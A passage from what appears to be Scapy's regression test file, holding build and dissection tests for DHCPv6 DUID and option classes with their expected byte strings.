'fe80::20f:34ff:fe8a:8aa1') # There are many other to do. # Below is our Homework : here is the mountain ... ########### Net6 Class ############################################## ########### ICMPv6MLQuery Class ##################################### ########### ICMPv6MLReport Class #################################### ########### ICMPv6MLDone Class ###################################### ########### ICMPv6ND_Redirect Class ################################# ########### ICMPv6NDOptSrcAddrList Class ############################ ########### ICMPv6NDOptTgtAddrList Class ############################ ########### ICMPv6ND_INDSol Class ################################### ########### ICMPv6ND_INDAdv Class ################################### ########### ICMPerror6 Class ######################################## ########### TracerouteResult6 Class ################################# ##################################################################### ##################################################################### ########################## DHCPv6 ########################## ##################################################################### ##################################################################### ##################################################################### + Test DHCP6 DUID_LLT = DUID_LLT basic instantiation a=DUID_LLT() = DUID_LLT basic build str(DUID_LLT()) == '\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DUID_LLT build with specific values str(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == '\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff' = DUID_LLT basic dissection a=DUID_LLT(str(DUID_LLT())) a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00" = DUID_LLT dissection with specific values a=DUID_LLT('\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 DUID_EN = DUID_EN basic instantiation a=DUID_EN() = DUID_EN basic build str(DUID_EN()) == '\x00\x02\x00\x00\x017' = DUID_EN build with specific values str(DUID_EN(enterprisenum=0x11111111, id="iamastring")) == '\x00\x02\x11\x11\x11\x11iamastring' = DUID_EN basic dissection a=DUID_EN('\x00\x02\x00\x00\x017') a.type == 2 and a.enterprisenum == 311 = DUID_EN dissection with specific values a=DUID_EN('\x00\x02\x11\x11\x11\x11iamastring') a.type == 2 and a.enterprisenum == 0x11111111 and a.id =="iamastring" ##################################################################### + Test DHCP6 DUID_LL = DUID_LL basic instantiation a=DUID_LL() = DUID_LL basic build str(DUID_LL()) == '\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DUID_LL build with specific values str(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == '\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff' = DUID_LL basic dissection a=DUID_LL(str(DUID_LL())) a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00" = DUID_LL with specific values a=DUID_LL('\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff') a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 Opt Unknown = DHCP6 Opt Unknown basic instantiation a=DHCP6OptUnknown() = DHCP6 Opt Unknown basic build (default values) str(DHCP6OptUnknown()) == '\x00\x00\x00\x00' = DHCP6 Opt Unknown - len computation test str(DHCP6OptUnknown(data="shouldbe9")) == '\x00\x00\x00\tshouldbe9' ##################################################################### + Test DHCP6 Client Identifier option = DHCP6OptClientId basic instantiation a=DHCP6OptClientId() = DHCP6OptClientId basic build str(DHCP6OptClientId()) == '\x00\x01\x00\x00' = DHCP6OptClientId instantiation with specific values str(DHCP6OptClientId(duid="toto")) == '\x00\x01\x00\x04toto' = DHCP6OptClientId instantiation with DUID_LL str(DHCP6OptClientId(duid=DUID_LL())) == '\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_LLT str(DHCP6OptClientId(duid=DUID_LLT())) == '\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_EN str(DHCP6OptClientId(duid=DUID_EN())) == '\x00\x01\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptClientId instantiation with specified length str(DHCP6OptClientId(optlen=80, duid="somestring")) == '\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId('\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId instantiation with specified length str(DHCP6OptClientId(optlen=80, duid="somestring")) == '\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId('\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId dissection with specific duid value a=DHCP6OptClientId('\x00\x01\x00\x04somestring') a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == 'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptClientId dissection with specific DUID_LL as duid value a=DHCP6OptClientId('\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_LLT as duid value a=DHCP6OptClientId('\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_EN as duid value a=DHCP6OptClientId('\x00\x01\x00\x06\x00\x02\x00\x00\x017') a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == "" ##################################################################### + Test DHCP6 Server Identifier option = DHCP6OptServerId basic instantiation a=DHCP6OptServerId() = DHCP6OptServerId basic build str(DHCP6OptServerId()) == '\x00\x02\x00\x00' = DHCP6OptServerId basic build with specific values str(DHCP6OptServerId(duid="toto")) == '\x00\x02\x00\x04toto' = DHCP6OptServerId instantiation with DUID_LL str(DHCP6OptServerId(duid=DUID_LL())) == '\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_LLT str(DHCP6OptServerId(duid=DUID_LLT())) == '\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_EN str(DHCP6OptServerId(duid=DUID_EN())) == '\x00\x02\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptServerId instantiation with specified length str(DHCP6OptServerId(optlen=80, duid="somestring")) == '\x00\x02\x00Psomestring' = DHCP6OptServerId basic dissection a=DHCP6OptServerId('\x00\x02\x00\x00') a.optcode == 2 and a.optlen == 0 = DHCP6OptServerId dissection with specific duid value a=DHCP6OptServerId('\x00\x02\x00\x04somestring') a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == 'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptServerId dissection with specific DUID_LL as duid value a=DHCP6OptServerId('\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_LLT as duid value a=DHCP6OptServerId('\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_EN as duid value a=DHCP6OptServerId('\x00\x02\x00\x06\x00\x02\x00\x00\x017') a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == "" ##################################################################### + Test DHCP6 IA Address Option (IA_TA or IA_NA suboption) = DHCP6OptIAAddress - Basic Instantiation str(DHCP6OptIAAddress()) == '\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAAddress - Basic Dissection a = DHCP6OptIAAddress('\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaid == 0 and a.iaaddropts == "" = DHCP6OptIAAddress - Instantiation with specific values str(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaid=0x88888888, iaaddropts="somestring")) == '\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring' = DHCP6OptIAAddress - Instantiation with specific values (default optlen computation) str(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaid=0x88888888, iaaddropts="somestring")) == '\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring' = DHCP6OptIAAddress - Dissection with specific values a = DHCP6OptIAAddress('\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwww\x88\x88\x88\x88somestring') a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaid == 0x88888888 and a.iaaddropts == "somestring" ##################################################################### + Test DHCP6 Identity Association for Non-temporary Addresses Option = DHCP6OptIA_NA - Basic Instantiation str(DHCP6OptIA_NA()) == '\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Basic Dissection a = DHCP6OptIA_NA('\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == [] = DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) str(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == '\x00\x03\x00\x0c""""3333DDDD' = DHCP6OptIA_NA - Instantiation with specific values (forced optlen) str(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == '\x00\x03\x11\x11""""3333DDDD' = DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation) str(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == '\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Dissection with specific values a = DHCP6OptIA_NA('\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Identity Association for Temporary Addresses Option = DHCP6OptIA_TA - Basic Instantiation str(DHCP6OptIA_TA()) == '\x00\x04\x00\x04\x00\x00\x00\x00' = DHCP6OptIA_TA - Basic Dissection a = DHCP6OptIA_TA('\x00\x04\x00\x04\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == [] = DHCP6OptIA_TA - Instantiation with specific values str(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == '\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_TA - Dissection with specific values a = DHCP6OptIA_TA('\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Option Request Option = DHCP6OptOptReq - Basic Instantiation str(DHCP6OptOptReq()) == '\x00\x06\x00\x04\x00\x17\x00\x18' = DHCP6OptOptReq - optlen field computation str(DHCP6OptOptReq(reqopts=[1,2,3,4])) == '\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptOptReq - instantiation with empty list str(DHCP6OptOptReq(reqopts=[])) == '\x00\x06\x00\x00' = DHCP6OptOptReq - Basic dissection a=DHCP6OptOptReq('\x00\x06\x00\x00') a.optcode == 6 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptOptReq - Dissection with specific value a=DHCP6OptOptReq('\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Option - Preference option = DHCP6OptPref - Basic instantiation str(DHCP6OptPref()) == '\x00\x07\x00\x01\xff' = DHCP6OptPref - Instantiation with specific values str(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == '\x00\x07\xff\xff\x11' = DHCP6OptPref - Basic Dissection a=DHCP6OptPref('\x00\x07\x00\x01\xff') a.optcode == 7 and a.optlen == 1 and a.prefval == 255 = DHCP6OptPref - Dissection with specific values a=DHCP6OptPref('\x00\x07\xff\xff\x11') a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11 ##################################################################### + Test DHCP6 Option - Elapsed Time = DHCP6OptElapsedTime - Basic Instantiation str(DHCP6OptElapsedTime()) == '\x00\x08\x00\x02\x00\x00' = DHCP6OptElapsedTime - Instantiation with specific elapsedtime value str(DHCP6OptElapsedTime(elapsedtime=421)) == '\x00\x08\x00\x02\x01\xa5' = DHCP6OptElapsedTime - Basic Dissection a=DHCP6OptElapsedTime('\x00\x08\x00\x02\x00\x00') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0 = DHCP6OptElapsedTime - Dissection with specific values a=DHCP6OptElapsedTime('\x00\x08\x00\x02\x01\xa5') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421 ##################################################################### + Test DHCP6 Option - Server Unicast Address = DHCP6OptServerUnicast - Basic Instantiation str(DHCP6OptServerUnicast()) == '\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerUnicast - Instantiation with specific values (test 1) str(DHCP6OptServerUnicast(srvaddr="2001::1")) == '\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Instantiation with specific values (test 2) str(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == '\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Dissection with default values a=DHCP6OptServerUnicast('\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::" = DHCP6OptServerUnicast - Dissection with specific values (test 1) a=DHCP6OptServerUnicast('\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1" = DHCP6OptServerUnicast - Dissection with specific values (test 2) a=DHCP6OptServerUnicast('\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1" ##################################################################### + Test DHCP6 Option - Status Code = DHCP6OptStatusCode - Basic Instantiation str(DHCP6OptStatusCode()) == '\x00\r\x00\x02\x00\x00' = DHCP6OptStatusCode - Instantiation with specific values str(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == '\x00\r\x00*\x00\xffHello' = DHCP6OptStatusCode - Automatic Length computation str(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == '\x00\r\x00\x07\x00\xffHello' # Add tests to verify Unicode behavior ##################################################################### + Test DHCP6 Option - Rapid Commit = DHCP6OptRapidCommit - Basic Instantiation str(DHCP6OptRapidCommit()) == '\x00\x0e\x00\x00' = DHCP6OptRapidCommit - Basic Dissection a=DHCP6OptRapidCommit('\x00\x0e\x00\x00') a.optcode == 14 and a.optlen == 0 ##################################################################### + Test DHCP6 Option - User class = DHCP6OptUserClass - Basic Instantiation str(DHCP6OptUserClass()) == '\x00\x0f\x00\x00' = DHCP6OptUserClass - Basic Dissection a = DHCP6OptUserClass('\x00\x0f\x00\x00') a.optcode == 15 and a.optlen == 0 and a.userclassdata == [] = DHCP6OptUserClass - Instantiation with one user class data structure str(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == '\x00\x0f\x00\x0b\x00\tsomething' = DHCP6OptUserClass - Dissection with one user class data structure a = DHCP6OptUserClass('\x00\x0f\x00\x0b\x00\tsomething') a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == 'something' = DHCP6OptUserClass - Instantiation with two user class data structures str(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == '\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse' = DHCP6OptUserClass - Dissection with two user class data structures a = DHCP6OptUserClass('\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse') a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == 'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == 'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor class = DHCP6OptVendorClass - Basic Instantiation str(DHCP6OptVendorClass()) == '\x00\x10\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorClass - Basic Dissection a = DHCP6OptVendorClass('\x00\x10\x00\x04\x00\x00\x00\x00') a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == [] = DHCP6OptVendorClass - Instantiation with one vendor class data structure str(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == '\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething' = DHCP6OptVendorClass - Dissection with one vendor class data structure a = DHCP6OptVendorClass('\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething') a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == 'something' = DHCP6OptVendorClass - Instantiation with two vendor class data structures str(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == '\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse' = DHCP6OptVendorClass - Dissection with two vendor class data structures a = DHCP6OptVendorClass('\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse') a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == 'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == 'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor-specific information = DHCP6OptVendorSpecificInfo - Basic Instantiation str(DHCP6OptVendorSpecificInfo()) == '\x00\x11\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorSpecificInfo - Basic Dissection a = DHCP6OptVendorSpecificInfo('\x00\x11\x00\x04\x00\x00\x00\x00') a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0 = DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option) str(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == '\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option) a = DHCP6OptVendorSpecificInfo('\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething') a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == 'something' = DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options) str(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == '\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options) a = DHCP6OptVendorSpecificInfo('\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse') a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == 'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == 'somethingelse' ##################################################################### + Test DHCP6 Option - Interface-Id = DHCP6OptIfaceId - Basic Instantiation str(DHCP6OptIfaceId()) == '\x00\x12\x00\x00' = DHCP6OptIfaceId - Basic Dissection a = DHCP6OptIfaceId('\x00\x12\x00\x00') a.optcode == 18 and a.optlen == 0 = DHCP6OptIfaceId - Instantiation with specific value str(DHCP6OptIfaceId(ifaceid="something")) == '\x00\x12\x00\x09something' = DHCP6OptIfaceId - Dissection with specific value a = DHCP6OptIfaceId('\x00\x12\x00\x09something') a.optcode == 18 and a.optlen == 9 and a.ifaceid == "something" ##################################################################### + Test DHCP6 Option - Reconfigure Message = DHCP6OptReconfMsg - Basic Instantiation str(DHCP6OptReconfMsg()) == '\x00\x13\x00\x01\x0b' = DHCP6OptReconfMsg - Basic Dissection a = DHCP6OptReconfMsg('\x00\x13\x00\x01\x0b') a.optcode == 19 and a.optlen == 1 and a.msgtype == 11 = DHCP6OptReconfMsg - Instantiation with specific values str(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == '\x00\x13\x00\x04\x05' = DHCP6OptReconfMsg - Dissection with specific values a = DHCP6OptReconfMsg('\x00\x13\x00\x04\x05') a.optcode == 19 and a.optlen == 4 and a.msgtype == 5 ##################################################################### + Test DHCP6 Option - Reconfigure Accept = DHCP6OptReconfAccept - Basic Instantiation str(DHCP6OptReconfAccept()) == '\x00\x14\x00\x00' = DHCP6OptReconfAccept - Basic Dissection a = DHCP6OptReconfAccept('\x00\x14\x00\x00') a.optcode == 20 and a.optlen == 0 = DHCP6OptReconfAccept - Instantiation with specific values str(DHCP6OptReconfAccept(optlen=23)) == '\x00\x14\x00\x17' = DHCP6OptReconfAccept - Dssection with specific values a = DHCP6OptReconfAccept('\x00\x14\x00\x17') a.optcode == 20 and a.optlen == 23 ##################################################################### + Test DHCP6 Option - SIP Servers Domain Name List = DHCP6OptSIPDomains - Basic Instantiation str(DHCP6OptSIPDomains()) == '\x00\x15\x00\x00' = DHCP6OptSIPDomains - Basic Dissection a = DHCP6OptSIPDomains('\x00\x15\x00\x00') a.optcode == 21 and a.optlen == 0 and a.sipdomains == [] = DHCP6OptSIPDomains - Instantiation with one domain str(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == '\x00\x15\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with one domain a = DHCP6OptSIPDomains('\x00\x15\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == "toto.example.org" = DHCP6OptSIPDomains - Instantiation with two domains str(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == '\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with two domains a = DHCP6OptSIPDomains('\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00') a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == "toto.example.org" and a.sipdomains[1] == "TITI.example.org" = DHCP6OptSIPDomains - Enforcing only one dot at end of domain str(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == '\x00\x15\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SIP Servers IPv6 Address List = DHCP6OptSIPServers - Basic Instantiation str(DHCP6OptSIPServers()) == '\x00\x16\x00\x00' = DHCP6OptSIPServers - Basic Dissection a = DHCP6OptSIPServers('\x00\x16\x00\x00') a.optcode == 22 and a. optlen == 0 and a.sipservers == [] = DHCP6OptSIPServers - Instantiation with specific values (1 address) str(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == '\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSIPServers - Dissection with specific values (1 address) a = DHCP6OptSIPServers('\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" = DHCP6OptSIPServers - Instantiation with specific values (2 addresses) str(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSIPServers - Dissection with specific values (2 addresses) a = DHCP6OptSIPServers('\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Recursive Name Server = DHCP6OptDNSServers - Basic Instantiation str(DHCP6OptDNSServers()) == '\x00\x17\x00\x00' = DHCP6OptDNSServers - Basic Dissection a = DHCP6OptDNSServers('\x00\x17\x00\x00') a.optcode == 23 and a. optlen == 0 and a.dnsservers == [] = DHCP6OptDNSServers - Instantiation with specific values (1 address) str(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == '\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptDNSServers - Dissection with specific values (1 address) a = DHCP6OptDNSServers('\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" = DHCP6OptDNSServers - Instantiation with specific values (2 addresses) str(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == '\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptDNSServers - Dissection with specific values (2 addresses) a = 